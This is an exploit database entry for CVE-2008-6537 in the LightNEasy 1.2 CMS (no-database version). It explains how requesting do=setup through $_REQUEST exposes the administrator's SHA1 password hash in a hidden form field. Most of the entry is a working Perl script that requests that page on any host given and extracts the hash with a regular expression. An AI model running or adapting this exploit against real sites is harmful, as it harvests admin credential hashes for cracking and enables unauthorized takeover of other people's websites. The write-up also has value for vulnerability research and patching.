Exploit LightNEasy 1.2 - no database Remote Hash Retrieve

[Exploiter]

EDB-ID

5425

Проверка EDB

1. Пройдено

Автор

GIREX

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-6537

Дата публикации

2008-04-10

# Author:	__GiReX__
# mySite:	girex.altervista.org
# Date:		10/04/08

# CMS: 		LightNEasy 1.2 no database
# Site:		lightneasy.org

# Bug:		Hash Disclosure
# Exploit:	Remote Hash Retrieve


# Bug Explanation: LightNEasy/lightneasy.php

  if($_GET['do']!="login" && $_GET['do']!="sitemap" && $_SESSION[$set['password']] != "1") unset($_GET['do']);
  if($_POST['submit']!=$langmessage[120] && $_POST['submit']!=$langmessage[33] && $_SESSION[$set['password']] != "1")
	unset($_POST['submit']);

# $_GET['do'] is unset if we aren't admin or isn't login or sitemap

  function content() {
  ...
  switch($_REQUEST['do']) {
  ...
  case "setup": {
  ...
  <input type=\"hidden\" name=\"oldpassword\" value=\"".$set['password']."\" />

# content() diplays the HTML of the section passed with $_REQUEST['do']
# unset $_GET['do'] is not important if you switch the $_REQUEST one
# you can only see the admin's hash in hidden input and not edit it becouse $_POST['submit'] is unset


#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lightneasy/\n\n";
     exit;
}
my $client = new LWP::UserAgent or exit;

my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];

banner();
my $response = $client->get($target . 'LightNEasy.php?do=setup');

if($response->is_success)
{
     if($response->as_string =~ /([a-f0-9]{40})/)
     {
	  print "[+] Admin's SHA1 Hash: $1 \n";
	  print "[+] Exploit Successfull\n";
     }
     else 
     {
	  print "[-] Unable to retrieve admin's hash\n";
	  print "[-] Exploit Failed\n";
     }
}
else
{
     print "[-] Unable to request ${target}LightNEasy.php?do=setup\n";
     print "[-] Exploit Failed\n";
}


sub banner
{
     print "[+] LightNEasy 1.2 no database Password Retrieve Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}

# milw0rm.com [2008-04-10]